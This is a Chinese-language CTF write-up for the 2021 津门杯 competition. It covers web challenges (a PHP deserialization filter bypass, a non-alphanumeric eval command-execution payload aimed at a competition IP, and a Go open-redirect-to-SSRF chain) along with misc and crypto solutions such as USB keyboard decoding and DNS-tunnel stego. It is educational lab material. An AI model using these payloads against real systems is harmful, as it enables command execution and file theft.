• 津门杯WriteUP


    最近很浮躁,好好学习

    WEB

    power_cut

    扫目录
    index.php

    <?php
    class logger{
        public $logFile;
        public $initMsg;
        public $exitMsg;
    
        function __construct($file){
            // initialise variables
            $this->initMsg="#--session started--#
    ";
            $this->exitMsg="#--session end--#
    ";
            $this->logFile =  $file;
            readfile($this->logFile);
    
        }
    
        function log($msg){
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$msg."
    ");
            fclose($fd);
        }
    
        function __destruct(){
            echo "this is destruct";
        }
    }
    
    class weblog {
        public $weblogfile;
    
        function __construct() {
            $flag="system('cat /flag')";
            echo "$flag";
        }
    
        function __wakeup(){
            // self::waf($this->filepath);
            $obj = new logger($this->weblogfile);
        }
    
        public function waf($str){
            $str=preg_replace("/[<>*#'|?
     ]/","",$str);
            $str=str_replace('flag','',$str);
            return $str;
        }
    
        function __destruct(){
            echo "this is destruct";
        }
    
    }
    
    $log = 'O:6:"logger":2:{s:7:"logFile";s:11:"/etc/passwd";s:4:"file";s:11:"/etc/passwd";}';
    $log = preg_replace("/[<>*#'|?
     ]/","",$log);
    $log = str_replace('flag','',$log);
    $log_unser = unserialize($log);
    
    ?>
    
    <html>
    <body>
    <p><br/>昨天晚上因为14级大风停电了.</p>
    </body>
    </html>
    
    O:6:"weblog":1:{s:10:"weblogfile";s:11:"/etc/passwd";}
    接下来绕waf,双写
    O:6:"weblog":1:{s:10:"weblogfile";s:5:"/flflagag";}
    

    hate_php

    index.php

    <?php
    error_reporting(0);
    if(!isset($_GET['code'])){
        highlight_file(__FILE__);
    }else{
        $code = $_GET['code'];
        if(preg_match("/[A-Za-z0-9_$@]+/",$code)){
            die('fighting!'); 
        }
        eval($code);
    }
    

    绕一下

    http://122.112.214.101:20004/?code=?%3E%3C?=`/???/???%20/????`?%3E
    

    GoOSS

    main.go

    package main
    
    import (
        "bytes"
        "crypto/md5"
        "encoding/hex"
        "github.com/gin-gonic/gin"
        "io"
        "io/ioutil"
        "net/http"
        "os"
        "strings"
        "time"
    )
    
    type File struct {
        Content string `json:"content" binding:"required"`
        Name string `json:"name" binding:"required"`
    }
    type Url struct {
        Url string `json:"url" binding:"required"`
    }
    
    func md5sum(data string) string{
        s := md5.Sum([]byte(data))
        return hex.EncodeToString(s[:])
    }
    
    
    func fileMidderware (c *gin.Context){
        fileSystem := http.Dir("./files/")
        if c.Request.URL.String() == "/"{
            c.Next()
            return
        }
        f,err := fileSystem.Open(c.Request.URL.String())
        if f == nil {
            c.Next()
        }
        //
        if err != nil {
            c.Next()
            return
        }
        defer f.Close()
        fi, err := f.Stat()
        if  err != nil {
            c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
            return
        }
    
        if fi.IsDir() {
    
            if !strings.HasSuffix(c.Request.URL.String(), "/") {
                c.Redirect(302,c.Request.URL.String()+"/")
            } else {
                files := make([]string,0)
                l,_ := f.Readdir(0)
                for _,i := range l {
                    files = append(files, i.Name())
                }
    
                c.JSON(http.StatusOK, gin.H{
                    "files" :files,
                })
            }
    
        } else {
            data,_ := ioutil.ReadAll(f)
            c.Header("content-disposition", `attachment; filename=` + fi.Name())
            c.Data(200, "text/plain", data)
        }
    
    }
    
    func uploadController(c *gin.Context) {
        var file File
        if err := c.ShouldBindJSON(&file); err != nil {
            c.JSON(500, gin.H{"msg": err})
            return
        }
    
        dir := md5sum(file.Name)
    
        _,err:= http.Dir("./files").Open(dir)
        if err != nil{
            e := os.Mkdir("./files/"+dir,os.ModePerm)
            _, _ = http.Dir("./files").Open(dir)
            if e != nil {
                c.JSON(http.StatusInternalServerError, gin.H{"error": e.Error()})
                return
    
            }
    
        }
        filename := md5sum(file.Content)
        path := "./files/"+dir+"/"+filename
        err = ioutil.WriteFile(path, []byte(file.Content), os.ModePerm)
        if err != nil{
            c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
            return
        }
    
        c.JSON(200, gin.H{
            "message": "file upload succ, path: "+dir+"/"+filename,
        })
    }
    func vulController(c *gin.Context) {
    
        var url Url
        if err := c.ShouldBindJSON(&url); err != nil {
            c.JSON(500, gin.H{"msg": err})
            return
        }
    
        if !strings.HasPrefix(url.Url,"http://127.0.0.1:1234/"){
            c.JSON(403, gin.H{"msg": "url forbidden"})
            return
        }
        client := &http.Client{Timeout: 2 * time.Second}
    
        resp, err := client.Get(url.Url)
        if err != nil {
            c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
            return
        }
        defer resp.Body.Close()
        var buffer [512]byte
        result := bytes.NewBuffer(nil)
        for {
            n, err := resp.Body.Read(buffer[0:])
            result.Write(buffer[0:n])
            if err != nil && err == io.EOF {
    
                break
            } else if err != nil {
                c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
                return
            }
        }
        c.JSON(http.StatusOK, gin.H{"data": result.String()})
    }
    func main() {
        r := gin.Default()
        r.Use(fileMidderware)
        r.POST("/vul",vulController)
        r.POST("/upload",uploadController)
        r.GET("/", func(c *gin.Context) {
            c.JSON(200, gin.H{
                "message": "pong",
            })
        })
        _ = r.Run(":1234") // listen and serve on 0.0.0.0:8080
    }
    

    index.php

    <?php
    // php in localhost port 80
    readfile($_GET['file']);
    ?>
    

    先试上传接口

    看index.php 提示php在本地80端口,有个readfile函数可以用来读文件。
    大概率是SSRF,然后去访问index.php再用index.php读flag(比赛时没做出来,看go太菜了

    这道题的漏洞点和evoa师傅挖的洞很像
    https://github.com/go-macaron/macaron/issues/198
    https://evoa.me/archives/21/

    按照标准,用户注册的路由必须是/结尾,比如
    @app.route('/user/')
    如果没有以斜杠结尾,很多框架也会在背后默默添加上斜杠以符合标准
    所以如果用户访问一个没有以斜杠结尾的路径时,框架会默认跳转到斜杠结尾的路径。如果框架没有任何判断,直接跳转的的url为 用户访问url + '/' 就会产生漏洞
    Django的CVE-2018-14574就是这么产生的https://xz.aliyun.com/t/3302

    在gin框架的fileMidderware函数中,有个IsDir(),如果用户访问的是一个文件夹,判断用户访问路径如果没有以/结尾,就加上一个/再302跳转。正常我们想要跳到baidu.com,我们得在静态目录下新建一个叫 baidu.com 的文件夹,然后访问
    路径,否则是404. 但是我们可以加上..
    payload

    http://127.0.0.1:1234//baidu.com/..
    

    由于路径是 .. 结尾,http.FileSystem会认为他是一个路径,fi.IsDir()为真,并且路径并不是/结尾,if !strings.HasSuffix(ctx.Req.URL.Path, "/")为true,继续进入if语句,最后返回的location为Location://baidu.com/../就能成功跳转了。

    vul控制器里面限定了以http://127.0.0.1:1234开头,双斜杠触发302,然后用..

    Misc

    misc1

    八个字节,猜测为键盘
    tshark -r 12.pcapng -T fields -e usb.capdata | sed '/^s*$/d' > usbdata.txt

    f=open('usbdata.txt','r')
    fi=open('out.txt','w')
    while 1:
        a=f.readline().strip()
        if a:
            if len(a)==16: # 键盘流量的话len改为16
                out=''
                for i in range(0,len(a),2):
                    if i+2 != len(a):
                        out+=a[i]+a[i+1]+":"
                    else:
                        out+=a[i]+a[i+1]
                fi.write(out)
                fi.write('
    ')
        else:
            break
    
    fi.close()
    
    00:00:25:00:00:00:00:00
    00:00:00:00:00:00:00:00
    00:00:25:00:00:00:00:00
    00:00:00:00:00:00:00:00
    00:00:21:00:00:00:00:00
    00:00:00:00:00:00:00:00
    00:00:27:00:00:00:00:00
    00:00:00:00:00:00:00:00
    00:00:25:00:00:00:00:00
    00:00:00:00:00:00:00:00
    00:00:27:00:00:00:00:00
    00:00:00:00:00:00:00:00
    00:00:25:00:00:00:00:00
    00:00:00:00:00:00:00:00
    00:00:1e:00:00:00:00:00
    00:00:00:00:00:00:00:00
    00:00:27:00:00:00:00:00
    00:00:00:00:00:00:00:00
    00:00:25:00:00:00:00:00
    00:00:00:00:00:00:00:00
    00:00:25:00:00:00:00:00
    00:00:00:00:00:00:00:00
    00:00:1f:00:00:00:00:00
    00:00:00:00:00:00:00:00
    00:00:1e:00:00:00:00:00
    00:00:00:00:00:00:00:00
    00:00:27:00:00:00:00:00
    00:00:00:00:00:00:00:00
    00:00:25:00:00:00:00:00
    00:00:00:00:00:00:00:00
    00:00:1e:00:00:00:00:00
    00:00:00:00:00:00:00:00
    00:00:27:00:00:00:00:00
    00:00:00:00:00:00:00:00
    00:00:25:00:00:00:00:00
    00:00:00:00:00:00:00:00
    00:00:25:00:00:00:00:00
    00:00:00:00:00:00:00:00
    00:00:1f:00:00:00:00:00
    00:00:00:00:00:00:00:00
    00:00:1e:00:00:00:00:00
    00:00:00:00:00:00:00:00
    00:00:27:00:00:00:00:00
    00:00:00:00:00:00:00:00
    00:00:21:00:00:00:00:00
    00:00:00:00:00:00:00:00
    00:00:1f:00:00:00:00:00
    00:00:00:00:00:00:00:00
    00:00:27:00:00:00:00:00
    00:00:00:00:00:00:00:00
    00:00:25:00:00:00:00:00
    00:00:00:00:00:00:00:00
    00:00:21:00:00:00:00:00
    00:00:00:00:00:00:00:00
    00:00:27:00:00:00:00:00
    00:00:00:00:00:00:00:00
    00:00:1e:00:00:00:00:00
    00:00:00:00:00:00:00:00
    00:00:27:00:00:00:00:00
    00:00:00:00:00:00:00:00
    00:00:21:00:00:00:00:00
    00:00:00:00:00:00:00:00
    00:00:1f:00:00:00:00:00
    00:00:00:00:00:00:00:00
    00:00:1e:00:00:00:00:00
    00:00:00:00:00:00:00:00
    

    884080810882108108821042084010421
    01248密码
    解码得到 flag{THISISFLAG}

    m1bmp

    bmp隐写,zsteg一把梭

    发现一段base64
    ZmxhZ3tsNURHcUYxcFB6T2IyTFU5MTlMTWFCWVM1QjFHMDFGRH0=
    解码 flag{l5DGqF1pPzOb2LU919LMaBYS5B1G01FD}

    tunnel

    过滤出了所有 evil相关的dns解析域名

    tshark -r tunnel.pcap -T fields -e dns.qry.name -Y 'udp.dstport==53 || dns and dns.qry.name contains evil' > res.txt
    

    依次解码拼接:
    解码之后是一个加密压缩包,里面有个flag.jpg

    # -*- coding: utf-8 -*-
    import base64
    fileres = "/Users/lanvnal/比赛/2021年/津门杯/misc/tunnel/res.txt"
    
    data = ''
    tmp = ''
    nums = 0
    
    def base64Padding(data):
        missing_padding = 4 - len(data) % 4
        if missing_padding:
            data += '=' * missing_padding
        return data
    
    for line in open(fileres):
        if tmp == line:
            continue
        else:
            tmp = line
            nums += 1
        codeline = base64Padding(tmp[:-9])
        try:
            data += base64.b64decode(codeline)
        except Exception as err:
            print(codeline)
    # print(data)
    # print(nums)
    
    with open('/Users/lanvnal/比赛/2021年/津门杯/misc/tunnel/decRes2-2.zip','w') as f:
        f.write(data)
    

    base64 隐写,得到 password: B@%MG"6FjbS8^c#r

    import textwrap
    import string
    
    base64_code = "".join([
        string.ascii_uppercase,
        string.ascii_lowercase,
        string.digits,
        "+/",
    ])
    
    def base64_stego(path: str) -> str:
        stegolist = []
        with open(path, mode="r", encoding="utf-8") as f:
            for i, bs in enumerate(f.read().split("
    "), 1):
                stegov = base64_stego_decode(bs)
                if stegov is not None:
                    stegolist.append(stegov)
        flag = "".join([chr(int(bit, 2)) for bit in textwrap.wrap("".join(stegolist), 8) if int(bit) != 0 ])
        return flag
    
    def base64_stego_decode(vstr: str) -> str:
        vstr += "=" * min((len(vstr) % 4), 2)
        count = vstr.count("=")
        if count < 1:
            return None
        bits = 0x0f if count == 2 else 0x03
        v = base64_code.find(vstr.replace("=", "")[-1]) & bits
        return bin(v)[2:].zfill(count * 2)
    
    print(base64_stego("res.txt"))
    

    flag{D01nt_5pY_0nmE}

    Crypto

    RSA

    混合编码

    JTJGMTAyJTJGMTA4JTJGOTclMkYxMDMlMkYxMjMlMkYxMTMlMkY0OSUyRjEyMCUyRjc1JTJGMTEyJTJGMTA5JTJGNTYlMkYxMTglMkY3MyUyRjc2JTJGODclMkYxMTQlMkYxMDclMkYxMDklMkY4OCUyRjEyMCUyRjg2JTJGNTQlMkYxMDYlMkY0OSUyRjQ5JTJGNzclMkYxMDAlMkY5OSUyRjcxJTJGMTE2JTJGNzYlMkYxMjIlMkYxMTglMkY4MiUyRjEyMSUyRjg2JTJGMTI1
    
    %2F102%2F108%2F97%2F103%2F123%2F113%2F49%2F120%2F75%2F112%2F109%2F56%2F118%2F73%2F76%2F87%2F114%2F107%2F109%2F88%2F120%2F86%2F54%2F106%2F49%2F49%2F77%2F100%2F99%2F71%2F116%2F76%2F122%2F118%2F82%2F121%2F86%2F125
    
    /102/108/97/103/123/113/49/120/75/112/109/56/118/73/76/87/114/107/109/88/120/86/54/106/49/49/77/100/99/71/116/76/122/118/82/121/86/125
    
    flag{q1xKpm8vILWrkmXxV6j11MdcGtLzvRyV}
    
    enc = "102/108/97/103/123/113/49/120/75/112/109/56/118/73/76/87/114/107/109/88/120/86/54/106/49/49/77/100/99/71/116/76/122/118/82/121/86/125"
    
    character = enc.split("/")
    
    flag = ''
    for c in character:
        flag += chr(int(c))
    
    print(flag)
    
  • 相关阅读:
    电源锁
    Android的三种网络联接方式
    用tcpdump在手机上抓包
    图片出现波纹的问题
    Android 3.1以后 广播接收器的新机制
    OpenGL坐标
    用Messager进行IPC
    PHP 介绍
    View坐标,MotionEvent坐标, 二者的转换,可视区域
    OpenGL ES
  • 原文地址:https://www.cnblogs.com/twosmi1e/p/14813484.html
Copyright © 2020-2023  润新知